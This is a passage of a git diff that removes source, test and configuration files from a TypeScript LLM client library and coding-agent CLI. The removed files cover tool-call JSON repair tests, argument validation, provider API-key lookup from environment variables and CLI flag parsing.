"../overflow.js"; - -function makeAssistantMessage( - overrides: Partial = {}, -): AssistantMessage { - return { - role: "assistant", - content: [], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-sonnet-4-6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "error", - timestamp: Date.now(), - ...overrides, - }; -} - -describe("isContextOverflow", () => { - test("detects overflow from provider errorMessage", () => { - const message = makeAssistantMessage({ - errorMessage: "prompt is too long: 213462 tokens > 200000 maximum", - }); - - assert.equal(isContextOverflow(message, 200000), true); - }); - - test("detects claude-code overflow when text contains the error but errorMessage is generic (#3925)", () => { - const message = makeAssistantMessage({ - provider: "claude-code", - api: "anthropic-messages", - model: "claude-sonnet-4-6", - errorMessage: "success", - content: [{ type: "text", text: "Prompt is too long" }], - }); - - assert.equal(isContextOverflow(message, 200000), true); - }); - - test("does not treat normal non-error text as overflow", () => { - const message = makeAssistantMessage({ - stopReason: "stop", - errorMessage: undefined, - content: [{ type: "text", text: "Prompt is too long" }], - }); - - assert.equal(isContextOverflow(message, 200000), false); - }); -}); diff --git a/packages/pi-ai/src/utils/tests/repair-tool-json.test.ts b/packages/pi-ai/src/utils/tests/repair-tool-json.test.ts deleted file mode 100644 index 7967f5ee7..000000000 --- a/packages/pi-ai/src/utils/tests/repair-tool-json.test.ts +++ /dev/null @@ -1,291 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import { - hasTruncatedNumbers, - hasXmlParameterTags, - hasYamlBulletLists, - repairToolJson, - repairToolJsonWithReport, - TOOL_JSON_REPAIR_PIPELINE_VERSION, -} from "../repair-tool-json.js"; - -describe("repairToolJson — YAML bullet list repair (#2660)", () => { - // ── Detection ────────────────────────────────────────────────────────── - - test("hasYamlBulletLists detects YAML-style bullets", () => { - assert.equal( - hasYamlBulletLists('"keyDecisions": - Used Web Notification API'), - true, - ); - }); - - test("hasYamlBulletLists ignores negative numbers", () => { - assert.equal( - hasYamlBulletLists('"offset": -1'), - false, - "negative number should not be detected as YAML bullet", - ); - }); - - test("hasYamlBulletLists returns false for valid JSON", () => { - assert.equal( - hasYamlBulletLists('{"keyDecisions": ["item1", "item2"]}'), - false, - ); - }); - - // ── Single bullet item ──────────────────────────────────────────────── - - test("repairs single YAML bullet to JSON array", () => { - const malformed = '{"keyDecisions": - Used Web Notification API}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - assert.deepEqual(parsed.keyDecisions, ["Used Web Notification API"]); - }); - - // ── Multiple bullet items (newline-separated) ───────────────────────── - - test("repairs multiple YAML bullets separated by newlines", () => { - const malformed = - '{"keyDecisions": - Used Web Notification API\n - Chose Tauri over Electron\n - Adopted SQLite for storage, "title": "M005"}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - assert.deepEqual(parsed.keyDecisions, [ - "Used Web Notification API", - "Chose Tauri over Electron", - "Adopted SQLite for storage", - ]); - assert.equal(parsed.title, "M005"); - }); - - // ── Multiple fields with YAML bullets ───────────────────────────────── - - test("repairs multiple fields each with YAML bullet lists", () => { - const malformed = - '{"keyDecisions": - decision one\n - decision two, "keyFiles": - src/lib.rs — Extended menu\n - src/main.ts — Entry point, "title": "done"}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - assert.deepEqual(parsed.keyDecisions, ["decision one", "decision two"]); - assert.deepEqual(parsed.keyFiles, [ - "src/lib.rs \u2014 Extended menu", - "src/main.ts \u2014 Entry point", - ]); - assert.equal(parsed.title, "done"); - }); - - // ── Exact reproduction from issue #2660 ─────────────────────────────── - - test("repairs the exact malformed JSON from issue #2660", () => { - const malformed = `{"milestoneId": "M005", "title": "Native Desktop Polish", "oneLiner": "summary", "narrative": "details", "successCriteriaResults": "all pass", "definitionOfDoneResults": "all done", "requirementOutcomes": "met", "keyDecisions": - Used Web Notification API (new window.Notification()) instead of Tauri sendNotification wrapper, "keyFiles": - src-tauri/src/lib.rs \u2014 Extended menu builder with notification toggle, "lessonsLearned": - Always test notification permissions before sending, "followUps": "none", "deviations": "none", "verificationPassed": true}`; - - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - - assert.equal(parsed.milestoneId, "M005"); - assert.equal(parsed.title, "Native Desktop Polish"); - assert.ok( - Array.isArray(parsed.keyDecisions), - "keyDecisions should be an array", - ); - assert.ok(parsed.keyDecisions[0].includes("Web Notification API")); - assert.ok(Array.isArray(parsed.keyFiles), "keyFiles should be an array"); - assert.ok(parsed.keyFiles[0].includes("src-tauri/src/lib.rs")); - assert.ok( - Array.isArray(parsed.lessonsLearned), - "lessonsLearned should be an array", - ); - assert.equal(parsed.verificationPassed, true); - }); - - // ── Passthrough for valid JSON ──────────────────────────────────────── - - test("returns valid JSON unchanged", () => { - const valid = '{"keyDecisions": ["item1", "item2"], "count": -5}'; - const result = repairToolJson(valid); - assert.equal(result, valid, "valid JSON should be returned unchanged"); - }); - - // ── Negative numbers are preserved ──────────────────────────────────── - - test("does not mangle negative numbers", () => { - const valid = '{"offset": -1, "limit": -100}'; - const result = repairToolJson(valid); - assert.equal(result, valid); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// General JSON repair via jsonrepair -// ═══════════════════════════════════════════════════════════════════════════ - -describe("repairToolJson — general JSON repair via jsonrepair", () => { - test("repairs unquoted keys and trailing commas", () => { - const malformed = "{title: 'Done', count: 2,}"; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - - assert.deepEqual(parsed, { title: "Done", count: 2 }); - }); - - test("repairs single-quoted strings", () => { - const malformed = "{'milestoneId':'M001','title':'Plan'}"; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - - assert.deepEqual(parsed, { milestoneId: "M001", title: "Plan" }); - }); - - test("returns a versioned repair report with provenance", () => { - const report = repairToolJsonWithReport("{title: 'Done', count: 2,}"); - - assert.equal(report.version, TOOL_JSON_REPAIR_PIPELINE_VERSION); - assert.equal(report.changed, true); - assert.equal(report.parseable, true); - assert.ok(report.repairs.includes("jsonrepair")); - assert.deepEqual(JSON.parse(report.output), { title: "Done", count: 2 }); - }); -}); - -describe("repairToolJson — full YAML object fallback", () => { - test("repairs YAML-shaped tool arguments to JSON", () => { - const malformed = [ - "title: Done", - "keyDecisions:", - " - Keep semantic model aliases", - " - Prefer strict validation", - "verificationPassed: true", - ].join("\n"); - const report = repairToolJsonWithReport(malformed); - const parsed = JSON.parse(report.output); - - assert.ok(report.repairs.includes("yaml")); - assert.deepEqual(parsed, { - title: "Done", - keyDecisions: ["Keep semantic model aliases", "Prefer strict validation"], - verificationPassed: true, - }); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// XML parameter tag repair (#3403) -// ═══════════════════════════════════════════════════════════════════════════ - -describe("repairToolJson — XML parameter tag stripping (#3403)", () => { - test("hasXmlParameterTags detects opening tags", () => { - assert.equal( - hasXmlParameterTags('some text'), - true, - ); - }); - - test("hasXmlParameterTags returns false for clean JSON", () => { - assert.equal(hasXmlParameterTags('{"narrative": "some text"}'), false); - }); - - test("strips XML parameter tags from JSON values", () => { - const malformed = - '{"sliceId": "S03", "narrative": The slice work}'; - const repaired = repairToolJson(malformed); - // After stripping tags, the content should be parseable or at least tag-free - assert.ok( - !repaired.includes(""), - "should not contain tags", - ); - }); - - test("handles mixed XML and JSON content", () => { - const malformed = - '{"oneLiner": "done", "verification": all tests pass}'; - const repaired = repairToolJson(malformed); - assert.ok(!repaired.includes(" { - const malformed = - '{"narrative":"text.\\nall tests pass\\n[\\"npm test\\"]","oneLiner":"done"}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - - assert.equal(parsed.narrative, "text."); - assert.equal(parsed.verification, "all tests pass"); - assert.deepEqual(parsed.verificationEvidence, ["npm test"]); - assert.equal(parsed.oneLiner, "done"); - assert.ok( - !parsed.narrative.includes(" { - test("hasTruncatedNumbers detects bare comma after colon", () => { - assert.equal(hasTruncatedNumbers('"exitCode": ,'), true); - }); - - test("hasTruncatedNumbers detects bare minus before comma", () => { - assert.equal(hasTruncatedNumbers('"exitCode": -,'), true); - }); - - test("hasTruncatedNumbers detects bare minus before closing brace", () => { - assert.equal(hasTruncatedNumbers('"durationMs": -}'), true); - }); - - test("hasTruncatedNumbers returns false for valid numbers", () => { - assert.equal( - hasTruncatedNumbers('"exitCode": 0, "durationMs": 1234'), - false, - ); - }); - - test("hasTruncatedNumbers returns false for negative numbers", () => { - assert.equal(hasTruncatedNumbers('"exitCode": -1, "offset": -100'), false); - }); - - test("repairs truncated exitCode with bare comma", () => { - const malformed = - '{"command": "npm test", "exitCode": , "verdict": "pass", "durationMs": 500}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - assert.equal(parsed.exitCode, 0); - assert.equal(parsed.durationMs, 500); - }); - - test("repairs truncated exitCode with bare minus", () => { - const malformed = - '{"command": "npm test", "exitCode": -, "verdict": "pass", "durationMs": 1234}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - assert.equal(parsed.exitCode, 0); - assert.equal(parsed.verdict, "pass"); - }); - - test("repairs truncated durationMs at end of object", () => { - const malformed = - '{"command": "npm test", "exitCode": 0, "verdict": "pass", "durationMs": -}'; - const repaired = repairToolJson(malformed); - const parsed = JSON.parse(repaired); - assert.equal(parsed.durationMs, 0); - assert.equal(parsed.exitCode, 0); - }); - - test("does not mangle valid negative numbers", () => { - const valid = '{"exitCode": -1, "offset": -100}'; - const repaired = repairToolJson(valid); - const parsed = JSON.parse(repaired); - assert.equal(parsed.exitCode, -1); - assert.equal(parsed.offset, -100); - }); -}); diff --git a/packages/pi-ai/src/utils/typebox-helpers.ts b/packages/pi-ai/src/utils/typebox-helpers.ts deleted file mode 100644 index 60e8aa69e..000000000 --- a/packages/pi-ai/src/utils/typebox-helpers.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { type TUnsafe, Type } from "@sinclair/typebox"; - -/** - * Creates a string enum schema compatible with Google's API and other providers - * that don't support anyOf/const patterns. - * - * @example - * const OperationSchema = StringEnum(["add", "subtract", "multiply", "divide"], { - * description: "The operation to perform" - * }); - * - * type Operation = Static; // "add" | "subtract" | "multiply" | "divide" - */ -export function StringEnum( - values: T, - options?: { description?: string; default?: T[number] }, -): TUnsafe { - return Type.Unsafe({ - type: "string", - enum: values as any, - ...(options?.description && { description: options.description }), - ...(options?.default && { default: options.default }), - }); -} diff --git a/packages/pi-ai/src/utils/validation.ts b/packages/pi-ai/src/utils/validation.ts deleted file mode 100644 index 7bbfdbbf1..000000000 --- a/packages/pi-ai/src/utils/validation.ts +++ /dev/null @@ -1,124 +0,0 @@ -import AjvModule from "ajv"; -import addFormatsModule from "ajv-formats"; - -// Handle both default and named exports -const Ajv = (AjvModule as any).default || AjvModule; -const addFormats = (addFormatsModule as any).default || addFormatsModule; - -import type { Tool, ToolCall } from "../types.js"; - -type JsonSchemaObject = Record; - -function isRecord(value: unknown): value is JsonSchemaObject { - return value !== null && typeof value === "object" && !Array.isArray(value); -} - -function isStringArraySchema(schema: unknown): schema is JsonSchemaObject { - if (!isRecord(schema) || schema.type !== "array") return false; - const items = schema.items; - return isRecord(items) && items.type === "string"; -} - -function coerceSchemaValue(schema: unknown, value: unknown): unknown { - if (!isRecord(schema)) return value; - if (isStringArraySchema(schema) && typeof value === "string") { - return [value]; - } - - if (Array.isArray(value)) { - const items = schema.items; - if (!isRecord(items)) return value; - return value.map((item) => coerceSchemaValue(items, item)); - } - - if (!isRecord(value)) return value; - - const properties = schema.properties; - if (!isRecord(properties)) return value; - - let next: JsonSchemaObject | null = null; - for (const [key, propertySchema] of Object.entries(properties)) { - if (!Object.hasOwn(value, key)) continue; - const coercedValue = coerceSchemaValue(propertySchema, value[key]); - if (coercedValue !== value[key]) { - next ??= { ...value }; - next[key] = coercedValue; - } - } - return next ?? value; -} - -/** - * Wraps bare strings for JSON-schema fields declared as string arrays before AJV validation. - */ -export function coerceStringArrays(schema: unknown, params: unknown): unknown { - return coerceSchemaValue(schema, params); -} - -// Detect if we're in a browser extension environment with strict CSP -// Chrome extensions with Manifest V3 don't allow eval/Function constructor -const isBrowserExtension = - typeof globalThis !== "undefined" && - (globalThis as any).chrome?.runtime?.id !== undefined; - -// Create a singleton AJV instance with formats (only if not in browser extension) -// AJV requires 'unsafe-eval' CSP which is not allowed in Manifest V3 -let ajv: any = null; -if (!isBrowserExtension) { - try { - ajv = new Ajv({ - allErrors: true, - strict: false, - coerceTypes: true, - }); - addFormats(ajv); - } catch (_e) { - // AJV initialization failed (likely CSP restriction) - console.warn("AJV validation disabled due to CSP restrictions"); - } -} - -/** - * Validates tool call arguments against the tool's TypeBox schema - * @param tool The tool definition with TypeBox schema - * @param toolCall The tool call from the LLM - * @returns The validated (and potentially coerced) arguments - * @throws Error with formatted message if validation fails - */ -export function validateToolArguments(tool: Tool, toolCall: ToolCall): any { - // Skip validation in browser extension environment (CSP restrictions prevent AJV from working) - if (!ajv || isBrowserExtension) { - // Trust the LLM's output without validation - // Browser extensions can't use AJV due to Manifest V3 CSP restrictions - return toolCall.arguments; - } - - // Compile the schema - const validate = ajv.compile(tool.parameters); - - // Clone arguments so AJV can safely mutate for type coercion - const args = coerceStringArrays( - tool.parameters, - structuredClone(toolCall.arguments), - ); - - // Validate the arguments (AJV mutates args in-place for type coercion) - if (validate(args)) { - return args; - } - - // Format validation errors nicely - const errors = - validate.errors - ?.map((err: any) => { - const path = err.instancePath - ? err.instancePath.substring(1) - : err.params.missingProperty || "root"; - return ` - ${path}: ${err.message}`; - }) - .join("\n") || "Unknown validation error"; - - const errorMessage = `Validation failed for tool "${toolCall.name}":\n${errors}\n\nReceived arguments:\n${JSON.stringify(toolCall.arguments, null, 2)}`; - - throw new Error(errorMessage); -} diff --git a/packages/pi-ai/src/web-runtime-env-api-keys.ts b/packages/pi-ai/src/web-runtime-env-api-keys.ts deleted file mode 100644 index 950f848ec..000000000 --- a/packages/pi-ai/src/web-runtime-env-api-keys.ts +++ /dev/null @@ -1,122 +0,0 @@ -import { existsSync } from "node:fs"; -import { homedir } from "node:os"; -import { join } from "node:path"; - -import type { KnownProvider } from "./types.js"; - -let cachedVertexAdcCredentialsExists: boolean | null = null; - -function hasVertexAdcCredentials(): boolean { - if (cachedVertexAdcCredentialsExists !== null) { - return cachedVertexAdcCredentialsExists; - } - - const gacPath = process.env.GOOGLE_APPLICATION_CREDENTIALS; - cachedVertexAdcCredentialsExists = gacPath - ? existsSync(gacPath) - : existsSync( - join( - homedir(), - ".config", - "gcloud", - "application_default_credentials.json", - ), - ); - - return cachedVertexAdcCredentialsExists; -} - -/** - * Node-only env-key lookup for the standalone web host. - * - * This intentionally avoids the browser-safe dynamic-import pattern from the - * shared pi-ai runtime because the packaged Next standalone server turns that - * pattern into a failing "Cannot find module as expression is too dynamic" - * runtime branch. - */ -export function getEnvApiKey(provider: KnownProvider): string | undefined; -export function getEnvApiKey(provider: string): string | undefined; -export function getEnvApiKey(provider: string): string | undefined { - if (provider === "github-copilot") { - return ( - process.env.COPILOT_GITHUB_TOKEN || - process.env.GH_TOKEN || - process.env.GITHUB_TOKEN - ); - } - - if (provider === "anthropic") { - return process.env.ANTHROPIC_OAUTH_TOKEN || process.env.ANTHROPIC_API_KEY; - } - - if (provider === "google-vertex") { - const hasCredentials = hasVertexAdcCredentials(); - const hasProject = !!( - process.env.GOOGLE_CLOUD_PROJECT || process.env.GCLOUD_PROJECT - ); - const hasLocation = !!process.env.GOOGLE_CLOUD_LOCATION; - if (hasCredentials && hasProject && hasLocation) { - return ""; - } - } - - // Xiaomi MiMo token-plan providers share a single key; allow legacy fallbacks. - if ( - provider === "xiaomi" || - provider === "xiaomi-token-plan-ams" || - provider === "xiaomi-token-plan-sgp" || - provider === "xiaomi-token-plan-cn" - ) { - return ( - process.env.XIAOMI_API_KEY || - process.env.XIAOMI_TOKEN_PLAN_API_KEY || - process.env.MIMO_API_KEY - ); - } - - if ( - provider === "amazon-bedrock" && - (process.env.AWS_PROFILE || - (process.env.AWS_ACCESS_KEY_ID && process.env.AWS_SECRET_ACCESS_KEY) || - process.env.AWS_BEARER_TOKEN_BEDROCK || - process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI || - process.env.AWS_CONTAINER_CREDENTIALS_FULL_URI || - process.env.AWS_WEB_IDENTITY_TOKEN_FILE) - ) { - return ""; - } - - const envMap: Record = { - openai: "OPENAI_API_KEY", - "azure-openai-responses": "AZURE_OPENAI_API_KEY", - google: ["GEMINI_API_KEY", "GOOGLE_GENERATIVE_AI_API_KEY"], - groq: "GROQ_API_KEY", - cerebras: "CEREBRAS_API_KEY", - xai: "XAI_API_KEY", - openrouter: "OPENROUTER_API_KEY", - "vercel-ai-gateway": "AI_GATEWAY_API_KEY", - zai: "ZAI_API_KEY", - mistral: "MISTRAL_API_KEY", - minimax: "MINIMAX_API_KEY", - "minimax-cn": "MINIMAX_CN_API_KEY", - huggingface: "HF_TOKEN", - opencode: "OPENCODE_API_KEY", - "opencode-go": ["OPENCODE_GO_API_KEY", "OPENCODE_API_KEY"], - "kimi-coding": "KIMI_API_KEY", - xiaomi: "XIAOMI_API_KEY", - "xiaomi-token-plan-ams": "XIAOMI_API_KEY", - "xiaomi-token-plan-sgp": "XIAOMI_API_KEY", - "xiaomi-token-plan-cn": "XIAOMI_API_KEY", - "alibaba-coding-plan": "ALIBABA_API_KEY", - }; - - const envVar = envMap[provider]; - if (Array.isArray(envVar)) { - for (const name of envVar) { - const value = process.env[name]; - if (value) return value; - } - return undefined; - } - return envVar ? process.env[envVar] : undefined; -} diff --git a/packages/pi-ai/src/web-runtime-oauth.ts b/packages/pi-ai/src/web-runtime-oauth.ts deleted file mode 100644 index f43ef8514..000000000 --- a/packages/pi-ai/src/web-runtime-oauth.ts +++ /dev/null @@ -1,9 +0,0 @@ -export { - getOAuthProvider, - getOAuthProviders, - type OAuthAuthInfo, - type OAuthCredentials, - type OAuthLoginCallbacks, - type OAuthPrompt, - type OAuthProviderInterface, -} from "./oauth.js"; diff --git a/packages/pi-ai/tsconfig.json b/packages/pi-ai/tsconfig.json deleted file mode 100644 index 4aca0ff22..000000000 --- a/packages/pi-ai/tsconfig.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2024", - "module": "Node16", - "lib": ["ES2024"], - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "incremental": true, - "forceConsistentCasingInFileNames": true, - "declaration": true, - "declarationMap": true, - "sourceMap": true, - "inlineSources": true, - "inlineSourceMap": false, - "moduleResolution": "Node16", - "resolveJsonModule": true, - "allowImportingTsExtensions": false, - "experimentalDecorators": true, - "emitDecoratorMetadata": true, - "useDefineForClassFields": false, - "types": ["node"], - "outDir": "./dist", - "rootDir": "./src" - }, - "include": ["src/**/*.ts"], - "exclude": ["node_modules", "dist", "**/*.d.ts", "src/**/*.d.ts"] -} diff --git a/packages/pi-coding-agent/package.json b/packages/pi-coding-agent/package.json deleted file mode 100644 index 66ec68c4a..000000000 --- a/packages/pi-coding-agent/package.json +++ /dev/null @@ -1,48 +0,0 @@ -{ - "name": "@singularity-forge/pi-coding-agent", - "version": "2.75.3", - "description": "Coding agent CLI (vendored from pi-mono)", - "type": "module", - "piConfig": { - "name": "sf", - "configDir": ".sf" - }, - "main": "./dist/index.js", - "types": "./dist/index.d.ts", - "exports": { - ".": { - "types": "./dist/index.d.ts", - "import": "./dist/index.js" - } - }, - "scripts": { - "build": "tsc -p tsconfig.json && npm run copy-assets", - "copy-assets": "node scripts/copy-assets.cjs" - }, - "dependencies": { - "@mariozechner/jiti": "^2.6.2", - "@silvia-odwyer/photon-node": "^0.3.4", - "chalk": "^5.5.0", - "diff": "^9.0.0", - "express": "^5.2.1", - "extract-zip": "^2.0.1", - "file-type": "^21.3.4", - "hosted-git-info": "^9.0.3", - "ignore": "^7.0.5", - "marked": "^18.0.3", - "minimatch": "^10.2.5", - "proper-lockfile": "^4.1.2", - "strip-ansi": "^7.2.0", - "undici": "^8.2.0", - "yaml": "^2.8.4" - }, - "devDependencies": { - "@types/diff": "^7.0.2", - "@types/express": "^4.17.21", - "@types/hosted-git-info": "^3.0.5", - "@types/proper-lockfile": "^4.1.4" - }, - "engines": { - "node": ">=26.1.0" - } -} diff --git a/packages/pi-coding-agent/scripts/copy-assets.cjs b/packages/pi-coding-agent/scripts/copy-assets.cjs deleted file mode 100644 index 78ad32e90..000000000 --- a/packages/pi-coding-agent/scripts/copy-assets.cjs +++ /dev/null @@ -1,64 +0,0 @@ -#!/usr/bin/env node -const { mkdirSync, cpSync, copyFileSync, readdirSync } = require("node:fs"); -const { join } = require("node:path"); - -/** - * Recursive directory copy using copyFileSync — workaround for cpSync failures - * on Windows paths containing non-ASCII characters (#1178). - */ -function safeCpSync(src, dest, options) { - try { - cpSync(src, dest, options); - } catch { - if (options && options.recursive) { - copyDirRecursive(src, dest, options && options.filter); - } else { - copyFileSync(src, dest); - } - } -} - -function copyDirRecursive(src, dest, filter) { - mkdirSync(dest, { recursive: true }); - for (const entry of readdirSync(src, { withFileTypes: true })) { - const srcPath = join(src, entry.name); - const destPath = join(dest, entry.name); - if (filter && !filter(srcPath)) continue; - if (entry.isDirectory()) { - copyDirRecursive(srcPath, destPath, filter); - } else { - copyFileSync(srcPath, destPath); - } - } -} - -// Theme assets -mkdirSync("dist/modes/interactive/theme", { recursive: true }); -safeCpSync("src/modes/interactive/theme", "dist/modes/interactive/theme", { - recursive: true, - filter: (s) => !s.endsWith(".ts"), -}); - -// Export HTML templates and vendor files -mkdirSync("dist/core/export-html/vendor", { recursive: true }); -safeCpSync( - "src/core/export-html/template.html", - "dist/core/export-html/template.html", -); -safeCpSync( - "src/core/export-html/template.css", - "dist/core/export-html/template.css", -); -safeCpSync( - "src/core/export-html/template.js", - "dist/core/export-html/template.js", -); -safeCpSync("src/core/export-html/vendor", "dist/core/export-html/vendor", { - recursive: true, - filter: (s) => !s.endsWith(".ts"), -}); - -// LSP defaults -mkdirSync("dist/core/lsp", { recursive: true }); -safeCpSync("src/core/lsp/defaults.json", "dist/core/lsp/defaults.json"); -safeCpSync("src/core/lsp/lsp.md", "dist/core/lsp/lsp.md"); diff --git a/packages/pi-coding-agent/src/cli.ts b/packages/pi-coding-agent/src/cli.ts deleted file mode 100644 index 32c4e00aa..000000000 --- a/packages/pi-coding-agent/src/cli.ts +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env node -/** - * CLI entry point for the refactored coding agent. - * Uses main.ts with AgentSession and new mode modules. - * - * Test with: npx tsx src/cli-new.ts [args...] - */ -process.title = "pi"; - -import { setBedrockProviderModule } from "@singularity-forge/pi-ai"; -import { bedrockProviderModule } from "@singularity-forge/pi-ai/bedrock-provider"; -import { EnvHttpProxyAgent, setGlobalDispatcher } from "undici"; -import { main } from "./main.js"; - -// bodyTimeout/headersTimeout default to 300s in undici; long local-LLM stalls -// (e.g. vLLM buffering a large tool call) exceed that and abort the SSE stream -// with UND_ERR_BODY_TIMEOUT. Disable both — provider SDKs enforce their own -// AbortController-based deadlines via retry.provider.timeoutMs. -setGlobalDispatcher( - new EnvHttpProxyAgent({ bodyTimeout: 0, headersTimeout: 0 }), -); -setBedrockProviderModule(bedrockProviderModule); - -main(process.argv.slice(2)); diff --git a/packages/pi-coding-agent/src/cli/args.test.ts b/packages/pi-coding-agent/src/cli/args.test.ts deleted file mode 100644 index 2d83b9f90..000000000 --- a/packages/pi-coding-agent/src/cli/args.test.ts +++ /dev/null @@ -1,21 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { parseArgs } from "./args.js"; - -describe("parseArgs", () => { - it("parses optional-value extension flags with implicit and explicit values", () => { - const extensionFlags = new Map([ - ["demo-flag", { type: "string" as const, allowNoValue: true }], - ]); - const defaultFlagArgs = parseArgs(["--demo-flag"], extensionFlags); - const explicitFlagArgs = parseArgs(["--demo-flag=8080"], extensionFlags); - - assert.deepEqual( - [ - defaultFlagArgs.unknownFlags.get("demo-flag"), - explicitFlagArgs.unknownFlags.get("demo-flag"), - ], - [true, "8080"], - ); - }); -}); diff --git a/packages/pi-coding-agent/src/cli/args.ts b/packages/pi-coding-agent/src/cli/args.ts deleted file mode 100644 index 88d4cfd2b..000000000 --- a/packages/pi-coding-agent/src/cli/args.ts +++ /dev/null @@ -1,377 +0,0 @@ -/** - * CLI argument parsing and help display - */ - -import type { ThinkingLevel } from "@singularity-forge/pi-agent-core"; -import chalk from "chalk"; -import { APP_NAME, CONFIG_DIR_NAME, ENV_AGENT_DIR } from "../config.js"; -import { allTools, type ToolName } from "../core/tools/index.js"; - -export type Mode = "text" | "json" | "rpc"; - -export interface Args { - provider?: string; - model?: string; - apiKey?: string; - systemPrompt?: string; - appendSystemPrompt?: string; - thinking?: ThinkingLevel; - continue?: boolean; - resume?: boolean; - help?: boolean; - version?: boolean; - mode?: Mode; - noSession?: boolean; - session?: string; - sessionDir?: string; - models?: string[]; - tools?: ToolName[]; - noTools?: boolean; - extensions?: string[]; - noExtensions?: boolean; - print?: boolean; - export?: string; - noSkills?: boolean; - skills?: string[]; - promptTemplates?: string[]; - noPromptTemplates?: boolean; - themes?: string[]; - noThemes?: boolean; - listModels?: string | true; - discover?: boolean; - addProvider?: string; - addProviderBaseUrl?: string; - addProviderApiKey?: string; - discoverModels?: string | true; - offline?: boolean; - verbose?: boolean; - messages: string[]; - fileArgs: string[]; - /** Unknown flags (potentially extension flags) - map of flag name to value */ - unknownFlags: Map; - /** --bare: suppress CLAUDE.md/AGENTS.md, user skills, prompt templates, themes, project preferences */ - bare?: boolean; -} - -export interface ExtensionFlagParseOptions { - type: "boolean" | "string"; - allowNoValue?: boolean; -} - -const VALID_THINKING_LEVELS = [ - "off", - "minimal", - "low", - "medium", - "high", - "xhigh", -] as const; - -export function isValidThinkingLevel(level: string): level is ThinkingLevel { - return VALID_THINKING_LEVELS.includes(level as ThinkingLevel); -} - -export function parseArgs( - args: string[], - extensionFlags?: Map, -): Args { - const result: Args = { - messages: [], - fileArgs: [], - unknownFlags: new Map(), - }; - - for (let i = 0; i < args.length; i++) { - const arg = args[i]; - - if (arg === "--help" || arg === "-h") { - result.help = true; - } else if (arg === "--version" || arg === "-v") { - result.version = true; - } else if (arg === "--mode" && i + 1 < args.length) { - const mode = args[++i]; - if (mode === "text" || mode === "json" || mode === "rpc") { - result.mode = mode; - } - } else if (arg === "--continue" || arg === "-c") { - result.continue = true; - } else if (arg === "--resume" || arg === "-r") { - result.resume = true; - } else if (arg === "--provider" && i + 1 < args.length) { - result.provider = args[++i]; - } else if (arg === "--model" && i + 1 < args.length) { - result.model = args[++i]; - } else if (arg === "--api-key" && i + 1 < args.length) { - result.apiKey = args[++i]; - } else if (arg === "--system-prompt" && i + 1 < args.length) { - result.systemPrompt = args[++i]; - } else if (arg === "--append-system-prompt" && i + 1 < args.length) { - result.appendSystemPrompt = args[++i]; - } else if (arg === "--no-session") { - result.noSession = true; - } else if (arg === "--session" && i + 1 < args.length) { - result.session = args[++i]; - } else if (arg === "--session-dir" && i + 1 < args.length) { - result.sessionDir = args[++i]; - } else if (arg === "--models" && i + 1 < args.length) { - result.models = args[++i].split(",").map((s) => s.trim()); - } else if (arg === "--no-tools") { - result.noTools = true; - } else if (arg === "--tools" && i + 1 < args.length) { - const toolNames = args[++i].split(",").map((s) => s.trim()); - const validTools: ToolName[] = []; - for (const name of toolNames) { - if (name in allTools) { - validTools.push(name as ToolName); - } else { - console.error( - chalk.yellow( - `Warning: Unknown tool "${name}". Valid tools: ${Object.keys(allTools).join(", ")}`, - ), - ); - } - } - result.tools = validTools; - } else if (arg === "--thinking" && i + 1 < args.length) { - const level = args[++i]; - if (isValidThinkingLevel(level)) { - result.thinking = level; - } else { - console.error( - chalk.yellow( - `Warning: Invalid thinking level "${level}". Valid values: ${VALID_THINKING_LEVELS.join(", ")}`, - ), - ); - } - } else if (arg === "--print" || arg === "-p") { - result.print = true; - } else if (arg === "--export" && i + 1 < args.length) { - result.export = args[++i]; - } else if ((arg === "--extension" || arg === "-e") && i + 1 < args.length) { - result.extensions = result.extensions ?? []; - result.extensions.push(args[++i]); - } else if (arg === "--no-extensions" || arg === "-ne") { - result.noExtensions = true; - } else if (arg === "--skill" && i + 1 < args.length) { - result.skills = result.skills ?? []; - result.skills.push(args[++i]); - } else if (arg === "--prompt-template" && i + 1 < args.length) { - result.promptTemplates = result.promptTemplates ?? []; - result.promptTemplates.push(args[++i]); - } else if (arg === "--theme" && i + 1 < args.length) { - result.themes = result.themes ?? []; - result.themes.push(args[++i]); - } else if (arg === "--no-skills" || arg === "-ns") { - result.noSkills = true; - } else if (arg === "--no-prompt-templates" || arg === "-np") { - result.noPromptTemplates = true; - } else if (arg === "--no-themes") { - result.noThemes = true; - } else if (arg === "--list-models") { - // Check if next arg is a search pattern (not a flag or file arg) - if ( - i + 1 < args.length && - !args[i + 1].startsWith("-") && - !args[i + 1].startsWith("@") - ) { - result.listModels = args[++i]; - } else { - result.listModels = true; - } - } else if (arg === "--discover") { - result.discover = true; - } else if (arg === "--add-provider" && i + 1 < args.length) { - result.addProvider = args[++i]; - } else if (arg === "--base-url" && i + 1 < args.length) { - result.addProviderBaseUrl = args[++i]; - } else if (arg === "--discover-models") { - if ( - i + 1 < args.length && - !args[i + 1].startsWith("-") && - !args[i + 1].startsWith("@") - ) { - result.discoverModels = args[++i]; - } else { - result.discoverModels = true; - } - } else if (arg === "--verbose") { - result.verbose = true; - } else if (arg === "--bare") { - result.bare = true; - } else if (arg === "--offline") { - result.offline = true; 